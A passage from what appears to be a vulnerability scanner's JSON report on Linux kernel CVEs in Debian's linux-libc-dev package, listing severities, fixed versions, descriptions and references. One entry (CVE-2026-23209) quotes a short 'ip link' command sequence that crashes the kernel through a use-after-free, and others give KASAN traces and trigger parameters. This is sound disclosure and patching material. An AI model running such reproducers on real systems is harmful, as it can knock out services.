3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:H", "V3Score": 6 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23187", "https://git.kernel.org/linus/6bd8b4a92a901fae1a422e6f914801063c345e8d%20%286.19%29", "https://git.kernel.org/stable/c/071159ff5c0bf2e5efff79501e23faf3775cbcd1", "https://git.kernel.org/stable/c/4390dcdabb5fca4647bf56a5a6b050bbdfa5760f", "https://git.kernel.org/stable/c/6bd8b4a92a901fae1a422e6f914801063c345e8d", "https://git.kernel.org/stable/c/7842b5dfcac888ece025a2321257d74b2264b099", "https://git.kernel.org/stable/c/eb54ce033b344b531b374496e68a2554b2b56b5a", "https://linux.oracle.com/cve/CVE-2026-23187.html", "https://linux.oracle.com/errata/ELSA-2026-50160.html", "https://lore.kernel.org/linux-cve-announce/2026021431-CVE-2026-23187-018e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23187", "https://ubuntu.com/security/notices/USN-8278-1", "https://ubuntu.com/security/notices/USN-8278-2", "https://ubuntu.com/security/notices/USN-8289-1", "https://ubuntu.com/security/notices/USN-8289-2", "https://ubuntu.com/security/notices/USN-8296-1", "https://ubuntu.com/security/notices/USN-8296-2", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://www.cve.org/CVERecord?id=CVE-2026-23187" ], "PublishedDate": "2026-02-14T17:15:56.49Z", "LastModifiedDate": "2026-11-05T22:18:06.207Z" }, { "VulnerabilityID": "CVE-2026-23191", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23191", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:977929ae908e51220d40fe8efd00cdb5ec35d320af81ae83d5f33b1d75886e31", "Title": "kernel: ALSA: aloop: Fix racy access at PCM trigger", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: aloop: Fix racy access at PCM trigger\n\nThe PCM trigger callback of aloop driver tries to check the PCM state\nand stop the stream of the tied substream in the corresponding cable.\nSince both check and stop operations are performed outside the cable\nlock, this may result in UAF when a program attempts to trigger\nfrequently while opening/closing the tied stream, as spotted by\nfuzzers.\n\nFor addressing the UAF, this patch changes two things:\n- It covers the most of code in loopback_check_format() with\n cable-\u003elock spinlock, and add the proper NULL checks. This avoids\n already some racy accesses.\n- In addition, now we try to check the state of the capture PCM stream\n that may be stopped in this function, which was the major pain point\n leading to UAF.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-362" ], "VendorSeverity": { "alma": 2, "nvd": 3, "oracle-oval": 3, "redhat": 2, "rocky": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:6153", "https://access.redhat.com/security/cve/CVE-2026-23191", "https://bugzilla.redhat.com/2376376", "https://bugzilla.redhat.com/2407333", "https://bugzilla.redhat.com/2439872", "https://bugzilla.redhat.com/2439886", "https://bugzilla.redhat.com/2439887", "https://bugzilla.redhat.com/2439900", "https://bugzilla.redhat.com/2439931", "https://bugzilla.redhat.com/2439947", "https://bugzilla.redhat.com/show_bug.cgi?id=2376376", "https://bugzilla.redhat.com/show_bug.cgi?id=2407333", "https://bugzilla.redhat.com/show_bug.cgi?id=2439872", "https://bugzilla.redhat.com/show_bug.cgi?id=2439886", "https://bugzilla.redhat.com/show_bug.cgi?id=2439887", "https://bugzilla.redhat.com/show_bug.cgi?id=2439900", "https://bugzilla.redhat.com/show_bug.cgi?id=2439931", "https://bugzilla.redhat.com/show_bug.cgi?id=2439947", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38180", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40096", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23144", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23171", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23191", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23193", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23209", "https://errata.almalinux.org/9/ALSA-2026-6153.html", "https://errata.rockylinux.org/RLSA-2026:6153", "https://git.kernel.org/linus/826af7fa62e347464b1b4e0ba2fe19a92438084f%20%286.19%29", "https://git.kernel.org/stable/c/0e6245b2424d126ac90018142d09f0707e12998b", "https://git.kernel.org/stable/c/5727ccf9d19ca414cb76d9b647883822e2789c2e", "https://git.kernel.org/stable/c/826af7fa62e347464b1b4e0ba2fe19a92438084f", "https://git.kernel.org/stable/c/bad15420050db1803767e58756114800cce91ea4", "https://git.kernel.org/stable/c/c99be0d5af02adebe9cb6f9869d20397fa9935a3", "https://git.kernel.org/stable/c/f3ce8be893726899e3053cf8059ecc95d8410359", "https://git.kernel.org/stable/c/f57467114f40c5aacebbea96fb4ff9e5cd2b7f18", "https://linux.oracle.com/cve/CVE-2026-23191.html", "https://linux.oracle.com/errata/ELSA-2026-9131.html", "https://lore.kernel.org/linux-cve-announce/2026021433-CVE-2026-23191-f990@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23191", "https://ubuntu.com/security/notices/USN-8278-1", "https://ubuntu.com/security/notices/USN-8278-2", "https://ubuntu.com/security/notices/USN-8289-1", "https://ubuntu.com/security/notices/USN-8289-2", "https://ubuntu.com/security/notices/USN-8296-1", "https://ubuntu.com/security/notices/USN-8296-2", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-23191" ], "PublishedDate": "2026-02-14T17:15:56.917Z", "LastModifiedDate": "2026-10-19T19:17:40.947Z" }, { "VulnerabilityID": "CVE-2026-23193", "VendorIDs": [ "DSA-6163-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.164-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23193", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a038493df6af82b2a452280a3fd826c6e8bcac4ae0f96b3f9b418889e513de1a", "Title": "kernel: scsi: target: iscsi: Fix use-after-free in iscsit_dec_session_usage_count()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: target: iscsi: Fix use-after-free in iscsit_dec_session_usage_count()\n\nIn iscsit_dec_session_usage_count(), the function calls complete() while\nholding the sess-\u003esession_usage_lock. Similar to the connection usage count\nlogic, the waiter signaled by complete() (e.g., in the session release\npath) may wake up and free the iscsit_session structure immediately.\n\nThis creates a race condition where the current thread may attempt to\nexecute spin_unlock_bh() on a session structure that has already been\ndeallocated, resulting in a KASAN slab-use-after-free.\n\nTo resolve this, release the session_usage_lock before calling complete()\nto ensure all dereferences of the sess pointer are finished before the\nwaiter is allowed to proceed with deallocation.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:6153", "https://access.redhat.com/security/cve/CVE-2026-23193", "https://bugzilla.redhat.com/2376376", "https://bugzilla.redhat.com/2407333", "https://bugzilla.redhat.com/2439872", "https://bugzilla.redhat.com/2439886", "https://bugzilla.redhat.com/2439887", "https://bugzilla.redhat.com/2439900", "https://bugzilla.redhat.com/2439931", "https://bugzilla.redhat.com/2439947", "https://bugzilla.redhat.com/show_bug.cgi?id=2376376", "https://bugzilla.redhat.com/show_bug.cgi?id=2407333", "https://bugzilla.redhat.com/show_bug.cgi?id=2439872", "https://bugzilla.redhat.com/show_bug.cgi?id=2439886", "https://bugzilla.redhat.com/show_bug.cgi?id=2439887", "https://bugzilla.redhat.com/show_bug.cgi?id=2439900", "https://bugzilla.redhat.com/show_bug.cgi?id=2439931", "https://bugzilla.redhat.com/show_bug.cgi?id=2439947", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38180", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40096", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23144", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23171", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23191", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23193", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23209", "https://errata.almalinux.org/9/ALSA-2026-6153.html", "https://errata.rockylinux.org/RLSA-2026:6153", "https://git.kernel.org/linus/84dc6037390b8607c5551047d3970336cb51ba9a%20%286.19-rc7%29", "https://git.kernel.org/stable/c/11ebafffce31efc6abeb28c509017976fc49f1ca", "https://git.kernel.org/stable/c/2b64015550a13bcc72910be0565548d9a754d46d", "https://git.kernel.org/stable/c/41b86a9ec037bd3435d68dd3692f0891a207e7e7", "https://git.kernel.org/stable/c/4530f4e4d0e6a207110b0ffed0c911bca43531a4", "https://git.kernel.org/stable/c/84dc6037390b8607c5551047d3970336cb51ba9a", "https://git.kernel.org/stable/c/d8dbdc146e9e9a976931b78715be2e91299049f9", "https://git.kernel.org/stable/c/fd8b0900173307039d3a84644c2fee041a7ed4fb", "https://linux.oracle.com/cve/CVE-2026-23193.html", "https://linux.oracle.com/errata/ELSA-2026-6632.html", "https://lore.kernel.org/linux-cve-announce/2026021434-CVE-2026-23193-2c6c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23193", "https://ubuntu.com/security/notices/USN-8278-1", "https://ubuntu.com/security/notices/USN-8278-2", "https://ubuntu.com/security/notices/USN-8289-1", "https://ubuntu.com/security/notices/USN-8289-2", "https://ubuntu.com/security/notices/USN-8296-1", "https://ubuntu.com/security/notices/USN-8296-2", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://www.cve.org/CVERecord?id=CVE-2026-23193" ], "PublishedDate": "2026-02-14T17:15:57.123Z", "LastModifiedDate": "2026-10-19T19:17:41.13Z" }, { "VulnerabilityID": "CVE-2026-23204", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23204", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7f62095621f834bcb377a39d53def9a312a1a7f7a2e9f68ad27d384d2a021ef6", "Title": "kernel: net/sched: cls_u32: use skb_header_pointer_careful()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: cls_u32: use skb_header_pointer_careful()\n\nskb_header_pointer() does not fully validate negative @offset values.\n\nUse skb_header_pointer_careful() instead.\n\nGangMin Kim provided a report and a repro fooling u32_classify():\n\nBUG: KASAN: slab-out-of-bounds in u32_classify+0x1180/0x11b0\nnet/sched/cls_u32.c:221", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:6153", "https://access.redhat.com/security/cve/CVE-2026-23204", "https://bugzilla.redhat.com/2376376", "https://bugzilla.redhat.com/2407333", "https://bugzilla.redhat.com/2439872", "https://bugzilla.redhat.com/2439886", "https://bugzilla.redhat.com/2439887", "https://bugzilla.redhat.com/2439900", "https://bugzilla.redhat.com/2439931", "https://bugzilla.redhat.com/2439947", "https://bugzilla.redhat.com/show_bug.cgi?id=2376376", "https://bugzilla.redhat.com/show_bug.cgi?id=2407333", "https://bugzilla.redhat.com/show_bug.cgi?id=2439872", "https://bugzilla.redhat.com/show_bug.cgi?id=2439886", "https://bugzilla.redhat.com/show_bug.cgi?id=2439887", "https://bugzilla.redhat.com/show_bug.cgi?id=2439900", "https://bugzilla.redhat.com/show_bug.cgi?id=2439931", "https://bugzilla.redhat.com/show_bug.cgi?id=2439947", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38180", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40096", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23144", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23171", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23191", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23193", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23209", "https://errata.almalinux.org/9/ALSA-2026-6153.html", "https://errata.rockylinux.org/RLSA-2026:6153", "https://git.kernel.org/linus/cabd1a976375780dabab888784e356f574bbaed8%20%286.19%29", "https://git.kernel.org/stable/c/13336a6239b9d7c6e61483017bb8bdfe3ceb10a5", "https://git.kernel.org/stable/c/29681ed51e737be14d18ecd1c304c57002e4b72c", "https://git.kernel.org/stable/c/66e4b63d61c15de6ca5332d9ca6db59a404d7136", "https://git.kernel.org/stable/c/8a672f177ebe19c93d795fbe967846084fbc7943", "https://git.kernel.org/stable/c/cabd1a976375780dabab888784e356f574bbaed8", "https://git.kernel.org/stable/c/cfa745830e45ecb75c061aa34330ee0cac941cc7", "https://git.kernel.org/stable/c/e41a23e61259f5526af875c3b86b3d42a9bae0e5", "https://linux.oracle.com/cve/CVE-2026-23204.html", "https://linux.oracle.com/errata/ELSA-2026-6632.html", "https://lore.kernel.org/linux-cve-announce/2026021437-CVE-2026-23204-be85@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23204", "https://ubuntu.com/security/notices/USN-8278-1", "https://ubuntu.com/security/notices/USN-8278-2", "https://ubuntu.com/security/notices/USN-8289-1", "https://ubuntu.com/security/notices/USN-8289-2", "https://ubuntu.com/security/notices/USN-8296-1", "https://ubuntu.com/security/notices/USN-8296-2", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-23204" ], "PublishedDate": "2026-02-14T17:15:58.297Z", "LastModifiedDate": "2026-10-19T19:17:41.703Z" }, { "VulnerabilityID": "CVE-2026-23208", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23208", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:585e1b3bd04353c894d3aeaf0baef9afc6aa9bccb923a6515f5b15fa12f5f3a4", "Title": "kernel: ALSA: usb-audio: Prevent excessive number of frames", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: usb-audio: Prevent excessive number of frames\n\nIn this case, the user constructed the parameters with maxpacksize 40\nfor rate 22050 / pps 1000, and packsize[0] 22 packsize[1] 23. The buffer\nsize for each data URB is maxpacksize * packets, which in this example\nis 40 * 6 = 240; When the user performs a write operation to send audio\ndata into the ALSA PCM playback stream, the calculated number of frames\nis packsize[0] * packets = 264, which exceeds the allocated URB buffer\nsize, triggering the out-of-bounds (OOB) issue reported by syzbot [1].\n\nAdded a check for the number of single data URB frames when calculating\nthe number of frames to prevent [1].\n\n[1]\nBUG: KASAN: slab-out-of-bounds in copy_to_urb+0x261/0x460 sound/usb/pcm.c:1487\nWrite of size 264 at addr ffff88804337e800 by task syz.0.17/5506\nCall Trace:\n copy_to_urb+0x261/0x460 sound/usb/pcm.c:1487\n prepare_playback_urb+0x953/0x13d0 sound/usb/pcm.c:1611\n prepare_outbound_urb+0x377/0xc50 sound/usb/endpoint.c:333", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 6.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23208", "https://git.kernel.org/linus/ef5749ef8b307bf8717945701b1b79d036af0a15%20%286.19-rc6%29", "https://git.kernel.org/stable/c/152fc4f7b4a8af1c0418d2722f3b2729799cc837", "https://git.kernel.org/stable/c/282aba56713bbc58155716b55ca7222b2d9cf3c8", "https://git.kernel.org/stable/c/480a1490c595a242f27493a4544b3efb21b29f6a", "https://git.kernel.org/stable/c/581821f4b2ecbf411027b0af82b561ee208f4ba4", "https://git.kernel.org/stable/c/62932d9ed639a9fa71b4ac1a56766a4b43abb7e4", "https://git.kernel.org/stable/c/81e4b0009f2acc841d77a24fd796528b0bf62c4e", "https://git.kernel.org/stable/c/ab0b5e92fc36ee82c1bd01fe896d0f775ed5de41", "https://git.kernel.org/stable/c/c4dc012b027c9eb101583011089dea14d744e314", "https://git.kernel.org/stable/c/d67dde02049e632ba58d3c44a164a74b6a737154", "https://git.kernel.org/stable/c/e0ed5a36fb3ab9e7b9ee45cd17f09f6d5f594360", "https://git.kernel.org/stable/c/ef5749ef8b307bf8717945701b1b79d036af0a15", "https://lore.kernel.org/linux-cve-announce/2026021439-CVE-2026-23208-cc9e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23208", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-23208" ], "PublishedDate": "2026-02-14T17:15:58.703Z", "LastModifiedDate": "2026-11-05T22:18:07.25Z" }, { "VulnerabilityID": "CVE-2026-23209", "VendorIDs": [ "DSA-6163-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.164-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23209", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:19893ae5d62c6857cf35459d58f52484c7be8ce467cbd6d9a7e0aec15ecdc349", "Title": "kernel: macvlan: fix error recovery in macvlan_common_newlink()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmacvlan: fix error recovery in macvlan_common_newlink()\n\nvalis provided a nice repro to crash the kernel:\n\nip link add p1 type veth peer p2\nip link set address 00:00:00:00:00:20 dev p1\nip link set up dev p1\nip link set up dev p2\n\nip link add mv0 link p2 type macvlan mode source\nip link add invalid% link p2 type macvlan mode source macaddr add 00:00:00:00:00:20\n\nping -c1 -I p1 1.2.3.4\n\nHe also gave a very detailed analysis:\n\n\u003cquote valis\u003e\n\nThe issue is triggered when a new macvlan link is created with\nMACVLAN_MODE_SOURCE mode and MACVLAN_MACADDR_ADD (or\nMACVLAN_MACADDR_SET) parameter, lower device already has a macvlan\nport and register_netdevice() called from macvlan_common_newlink()\nfails (e.g. because of the invalid link name).\n\nIn this case macvlan_hash_add_source is called from\nmacvlan_change_sources() / macvlan_common_newlink():\n\nThis adds a reference to vlan to the port's vlan_source_hash using\nmacvlan_source_entry.\n\nvlan is a pointer to the priv data of the link that is being created.\n\nWhen register_netdevice() fails, the error is returned from\nmacvlan_newlink() to rtnl_newlink_create():\n\n if (ops-\u003enewlink)\n err = ops-\u003enewlink(dev, \u0026params, extack);\n else\n err = register_netdevice(dev);\n if (err \u003c 0) {\n free_netdev(dev);\n goto out;\n }\n\nand free_netdev() is called, causing a kvfree() on the struct\nnet_device that is still referenced in the source entry attached to\nthe lower device's macvlan port.\n\nNow all packets sent on the macvlan port with a matching source mac\naddress will trigger a use-after-free in macvlan_forward_source().\n\n\u003c/quote valis\u003e\n\nWith all that, my fix is to make sure we call macvlan_flush_sources()\nregardless of @create value whenever \"goto destroy_macvlan_port;\"\npath is taken.\n\nMany thanks to valis for following up on this issue.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 2, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:6153", "https://access.redhat.com/security/cve/CVE-2026-23209", "https://bugzilla.redhat.com/2376376", "https://bugzilla.redhat.com/2407333", "https://bugzilla.redhat.com/2439872", "https://bugzilla.redhat.com/2439886", "https://bugzilla.redhat.com/2439887", "https://bugzilla.redhat.com/2439900", "https://bugzilla.redhat.com/2439931", "https://bugzilla.redhat.com/2439947", "https://bugzilla.redhat.com/show_bug.cgi?id=2376376", "https://bugzilla.redhat.com/show_bug.cgi?id=2407333", "https://bugzilla.redhat.com/show_bug.cgi?id=2439872", "https://bugzilla.redhat.com/show_bug.cgi?id=2439886", "https://bugzilla.redhat.com/show_bug.cgi?id=2439887", "https://bugzilla.redhat.com/show_bug.cgi?id=2439900", "https://bugzilla.redhat.com/show_bug.cgi?id=2439931", "https://bugzilla.redhat.com/show_bug.cgi?id=2439947", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38180", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40096", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23144", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23171", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23191", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23193", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23209", "https://errata.almalinux.org/9/ALSA-2026-6153.html", "https://errata.rockylinux.org/RLSA-2026:6153", "https://git.kernel.org/linus/f8db6475a83649689c087a8f52486fcc53e627e9%20%286.19%29", "https://git.kernel.org/stable/c/11ba9f0dc865136174cb98834280fb21bbc950c7", "https://git.kernel.org/stable/c/5dae6b36a7cb7a4fcf4121b95e9ca7f96f816c8a", "https://git.kernel.org/stable/c/986967a162142710076782d5b93daab93a892980", "https://git.kernel.org/stable/c/c43d0e787cbba569ec9d11579ed370b50fab6c9c", "https://git.kernel.org/stable/c/cdedcd5aa3f3cb8b7ae0f87ab3a936d0bd583d66", "https://git.kernel.org/stable/c/da5c6b8ae47e414be47e5e04def15b25d5c962dc", "https://git.kernel.org/stable/c/f8db6475a83649689c087a8f52486fcc53e627e9", "https://linux.oracle.com/cve/CVE-2026-23209.html", "https://linux.oracle.com/errata/ELSA-2026-6632.html", "https://lore.kernel.org/linux-cve-announce/2026021439-CVE-2026-23209-9ad6@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23209", "https://ubuntu.com/security/notices/USN-8162-1", "https://ubuntu.com/security/notices/USN-8177-1", "https://ubuntu.com/security/notices/USN-8177-2", "https://ubuntu.com/security/notices/USN-8179-1", "https://ubuntu.com/security/notices/USN-8179-2", "https://ubuntu.com/security/notices/USN-8179-3", "https://ubuntu.com/security/notices/USN-8179-4", "https://ubuntu.com/security/notices/USN-8180-1", "https://ubuntu.com/security/notices/USN-8180-2", "https://ubuntu.com/security/notices/USN-8180-3", "https://ubuntu.com/security/notices/USN-8180-4", "https://ubuntu.com/security/notices/USN-8180-5", "https://ubuntu.com/security/notices/USN-8180-6", "https://ubuntu.com/security/notices/USN-8183-1", "https://ubuntu.com/security/notices/USN-8183-2", "https://ubuntu.com/security/notices/USN-8184-1", "https://ubuntu.com/security/notices/USN-8185-1", "https://ubuntu.com/security/notices/USN-8185-2", "https://ubuntu.com/security/notices/USN-8186-1", "https://ubuntu.com/security/notices/USN-8187-1", "https://ubuntu.com/security/notices/USN-8188-1", "https://ubuntu.com/security/notices/USN-8203-1", "https://ubuntu.com/security/notices/USN-8204-1", "https://ubuntu.com/security/notices/USN-8243-1", "https://ubuntu.com/security/notices/USN-8245-1", "https://ubuntu.com/security/notices/USN-8257-1", "https://ubuntu.com/security/notices/USN-8258-1", "https://ubuntu.com/security/notices/USN-8260-1", "https://ubuntu.com/security/notices/USN-8261-1", "https://ubuntu.com/security/notices/USN-8265-1", 